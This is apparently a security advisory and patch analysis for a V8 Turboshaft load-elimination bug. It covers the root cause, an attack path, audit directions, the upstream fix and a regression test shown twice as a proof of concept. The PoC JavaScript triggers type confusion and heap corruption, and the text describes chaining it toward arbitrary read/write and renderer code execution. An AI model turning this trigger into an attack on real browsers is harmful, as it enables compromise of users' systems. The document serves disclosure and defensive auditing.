CVE-2026-87536
Overview
Background
- Turboshaft
- V8’s newer optimizing compiler intermediate representation and pipeline, successor to the older Turbofan
sea-of-nodesgraph. - Late Load Elimination (`LLE`)
- a Turboshaft reducer (
late-load-elimination-reducer.cc) that removes redundant memory loads by tracking which objects alias and which stored values remain valid. - `can_write` effect
- an operation effect flag that, despite its name, means “can write to already-allocated memory” and explicitly excludes writes to memory the operation itself allocates.
- Aliasing / non-aliasing objects
LLEtracks whether an SSA value can point to the same heap object as another value (non_aliasing_objects_), so it knows which cached loads a call may invalidate.
Root Cause Analysis
In ProcessCall, the reducer took an early bailout if (!op.Effects().can_write()) that returned before calling InvalidateAllNonAliasingInputs(op), on the assumption that a call which does not write to pre-existing memory cannot invalidate LLE’s cached state. This violated the invariant that can_write excludes memory the call itself allocates: a builtin that allocates a fresh object and copies its inputs into that object creates new aliases to those inputs even while being marked !can_write(). Because those inputs were never invalidated, LLE continued to treat previously-cached loads as still valid, letting it eliminate or mis-predict loads/stores against an object whose backing store had actually changed (e.g. a length or elements-kind transition), producing a type-confused, dangling reference.
The fix reorders the logic so InvalidateAllNonAliasingInputs(op) runs first, and only then performs the can_write bailout, ensuring alias-creating-but-non-writing calls still invalidate their inputs. The known fresh-object builtin (Builtin::kCreateShallowObjectLiteral) is handled with an explicit early return before invalidation since it provably does not alias its inputs.
!can_write() as “cannot affect LLE state” when it only means “does not write to pre-existing memory,” ignoring that such a call can still allocate and alias its inputs; the fix moves InvalidateAllNonAliasingInputs ahead of the can_write bailout so those aliases are always invalidated.Attack Path
- Prime feedback
Warm up
victimand its helpers (set0,set7,carrier) with representative arrays so the array elements-kind and shapes stabilize before optimization. - Route through a max-arg bound call
Invoke
boundCarrier(acarrier.bindwith 32765 bound args, hittingkMaxArguments) which allocates/spreads arguments and passesstaleArraythrough a call marked!can_write()that nonetheless aliases it. - Optimize the victim
Force
%OptimizeFunctionOnNextCall(victim), causing Turboshaft’sLLEto skip invalidatingstaleArrayafter the aliasing call and keep stale cached load assumptions about its length/elements. - Trigger the type confusion
Run
victim(1.1)soset7(staleArray, payload)writes past what the optimized code believes is the array’s bound/backing store, corrupting an adjacent object’s length or elements pointer. - Exploit the dangling access
Use the resulting mismatched
target/staleArraystate (e.g.target.lengthreported as 0 while memory is writable) to read or write freed/out-of-bounds heap memory.
Impact Assessment
--allow-natives-syntax only to force optimization deterministically. This is a strong primitive typically chained toward arbitrary read/write and renderer RCE within the sandbox.Changed Functions
| Function | Change | Notes |
|---|---|---|
ifsrc/compiler/turboshaft/late-load-elimination-reducer.cc |
modified | |
switchsrc/compiler/turboshaft/late-load-elimination-reducer.cc |
modified |
Files Changed
src/compiler/turboshaft/late-load-elimination-reducer.cctest/mjsunit/mjsunit.statustest/mjsunit/turboshaft/regress-554421904.js
Audit Directions
- Effect-flag semanticsAudit every use of
can_write,can_read, and related effect predicates as bailout conditions, since their names understate what they exclude (self-allocated memory) and misuse silently drops required invalidations. - Alias creation on allocationFlag any optimization that skips alias/memory invalidation for calls or builtins deemed “non-writing” or “fresh-returning” without verifying they cannot copy inputs into newly allocated objects.
- Invalidate-before-bailout orderingReview reducers where an early
returnprecedes state-invalidation calls; confirm no invalidation that must run for all reachable operations is short-circuited by an effect-based early exit.
Patch
From 7e94f5ffc1041f9c37b5a9db38c54b149b9f0332 Mon Sep 17 00:00:00 2001
From: Darius Mercadier <dmercadier@chromium.org>
Date: Wed, 02 Sep 2026 12:10:22 +0200
Subject: [PATCH] [turboshaft] LLE: non-writing calls can create aliases
The can_write effect really means "can_write to pre-existing memory"
and excludes memory allocated by the operation itself. A builtin that
allocates memory and writes to it (but nowhere else) can thus be
marked as !can_write(), but it could still create aliases to its
inputs, which we do need to invalidate when processing it.
Fixed: 554421904
Change-Id: I8045ec40d2819d9ab92795b2352374a0df20cbc8
Reviewed-on: https://chromium-review.googlesource.com/c/v8/v8/+/8345010
Auto-Submit: Darius Mercadier <dmercadier@chromium.org>
Reviewed-by: Leszek Swirski <leszeks@chromium.org>
Commit-Queue: Leszek Swirski <leszeks@chromium.org>
Cr-Commit-Position: refs/heads/main@{#109635}
---
diff --git a/src/compiler/turboshaft/late-load-elimination-reducer.cc b/src/compiler/turboshaft/late-load-elimination-reducer.cc
index 7b78d3f..d9e386f 100644
--- a/src/compiler/turboshaft/late-load-elimination-reducer.cc
+++ b/src/compiler/turboshaft/late-load-elimination-reducer.cc
@@ -566,28 +566,32 @@
// Some builtins do not create aliases and do not invalidate existing
// memory, and some even return fresh objects. For such cases, we don't
// invalidate the state, and record the non-alias if any.
- if (!op.Effects().can_write()) {
- TRACE(">> Call doesn't write, skipping");
- return;
- }
-
auto builtin_id = TryGetBuiltinId(callee.TryCast<ConstantOp>(), broker_);
-
- // Not a builtin call, or not a builtin that we know doesn't invalidate
- // memory.
- InvalidateAllNonAliasingInputs(op);
-
if (builtin_id) {
switch (*builtin_id) {
case Builtin::kCreateShallowObjectLiteral:
// This builtin creates a fresh non-aliasing object.
non_aliasing_objects_.Set(op_idx, true);
- break;
+ return;
default:
break;
}
}
+ // Not a builtin call, or not a builtin that we know doesn't invalidate
+ // memory.
+ InvalidateAllNonAliasingInputs(op);
+
+ // Keep in mind that "can_write" really means "can write to already allocated
+ // memory" and excludes writes to memory that the call itself allocates.
+ // Hence, InvalidateAllNonAliasingInputs must be called before this can_write
+ // bailout, to account for the fact that some builtins may create fresh
+ // objects that copy their inputs, thus creating aliases.
+ if (!op.Effects().can_write()) {
+ TRACE(">> Call doesn't write, skipping");
+ return;
+ }
+
// The call could modify arbitrary memory, so we invalidate every
// potentially-aliasing object.
memory_.InvalidateMaybeAliasing();
diff --git a/test/mjsunit/mjsunit.status b/test/mjsunit/mjsunit.status
index d06afbb..4cc9065 100644
--- a/test/mjsunit/mjsunit.status
+++ b/test/mjsunit/mjsunit.status
@@ -76,6 +76,7 @@
'turbolev/regress-532607231': [PASS, SLOW],
'turbolev/regress-540717862': [PASS, SLOW],
+ 'turboshaft/regress-554421904': [PASS, SLOW],
# https://crbug.com/1129854
'tools/log': ['arch == arm or arch == arm64', SKIP],
diff --git a/test/mjsunit/turboshaft/regress-554421904.js b/test/mjsunit/turboshaft/regress-554421904.js
new file mode 100644
index 0000000..1635e70
--- /dev/null
+++ b/test/mjsunit/turboshaft/regress-554421904.js
@@ -0,0 +1,52 @@
+// Copyright 2026 the V8 project authors. All rights reserved.
+// Use of this source code is governed by a BSD-style license that can be
+// found in the LICENSE file.
+
+// Flags: --allow-natives-syntax
+
+function set7(arr, v) { arr[7] = v; }
+function set0(arr, v) { arr[0] = v; }
+function carrier(...rest) {
+ const receiver = rest[32765] ? rest[32766] : doubleArray;
+ set0(receiver, 1.1);
+}
+function victim(payload) {
+ const staleArray = Array(8);
+ const target = [];
+ if (!trigger) staleArray.x = 0;
+ boundCarrier(trigger, staleArray);
+ set7(staleArray, payload);
+ return { target, staleArray };
+}
+
+%PrepareFunctionForOptimization(set0);
+%PrepareFunctionForOptimization(set7);
+%PrepareFunctionForOptimization(carrier);
+%PrepareFunctionForOptimization(victim);
+
+const doubleArray = Array(8);
+set0(doubleArray, 1.1);
+set7(doubleArray, 0);
+set0(Array(8), 0);
+
+// 32765 bound arguments + 2 call arguments = 32767 (kMaxArguments).
+const boundCarrier = carrier.bind(null, ...Array(32765).fill(0));
+
+let trigger = 0;
+victim(0);
+
+trigger = 1;
+boundCarrier(trigger, doubleArray);
+
+trigger = 0;
+victim(0);
+
+%OptimizeFunctionOnNextCall(victim);
+trigger = 1;
+const { target, staleArray } = victim(1.1);
+
+assertEquals(0, target.length);
+target[0] = 1;
+
+assertEquals(1.1, staleArray[0]);
+assertEquals(1.1, staleArray[7]);
Regression Test / PoC
diff --git a/test/mjsunit/mjsunit.status b/test/mjsunit/mjsunit.status
index d06afbb..4cc9065 100644
--- a/test/mjsunit/mjsunit.status
+++ b/test/mjsunit/mjsunit.status
@@ -76,6 +76,7 @@
'turbolev/regress-532607231': [PASS, SLOW],
'turbolev/regress-540717862': [PASS, SLOW],
+ 'turboshaft/regress-554421904': [PASS, SLOW],
# https://crbug.com/1129854
'tools/log': ['arch == arm or arch == arm64', SKIP],
diff --git a/test/mjsunit/turboshaft/regress-554421904.js b/test/mjsunit/turboshaft/regress-554421904.js
new file mode 100644
index 0000000..1635e70
--- /dev/null
+++ b/test/mjsunit/turboshaft/regress-554421904.js
@@ -0,0 +1,52 @@
+// Copyright 2026 the V8 project authors. All rights reserved.
+// Use of this source code is governed by a BSD-style license that can be
+// found in the LICENSE file.
+
+// Flags: --allow-natives-syntax
+
+function set7(arr, v) { arr[7] = v; }
+function set0(arr, v) { arr[0] = v; }
+function carrier(...rest) {
+ const receiver = rest[32765] ? rest[32766] : doubleArray;
+ set0(receiver, 1.1);
+}
+function victim(payload) {
+ const staleArray = Array(8);
+ const target = [];
+ if (!trigger) staleArray.x = 0;
+ boundCarrier(trigger, staleArray);
+ set7(staleArray, payload);
+ return { target, staleArray };
+}
+
+%PrepareFunctionForOptimization(set0);
+%PrepareFunctionForOptimization(set7);
+%PrepareFunctionForOptimization(carrier);
+%PrepareFunctionForOptimization(victim);
+
+const doubleArray = Array(8);
+set0(doubleArray, 1.1);
+set7(doubleArray, 0);
+set0(Array(8), 0);
+
+// 32765 bound arguments + 2 call arguments = 32767 (kMaxArguments).
+const boundCarrier = carrier.bind(null, ...Array(32765).fill(0));
+
+let trigger = 0;
+victim(0);
+
+trigger = 1;
+boundCarrier(trigger, doubleArray);
+
+trigger = 0;
+victim(0);
+
+%OptimizeFunctionOnNextCall(victim);
+trigger = 1;
+const { target, staleArray } = victim(1.1);
+
+assertEquals(0, target.length);
+target[0] = 1;
+
+assertEquals(1.1, staleArray[0]);
+assertEquals(1.1, staleArray[7]);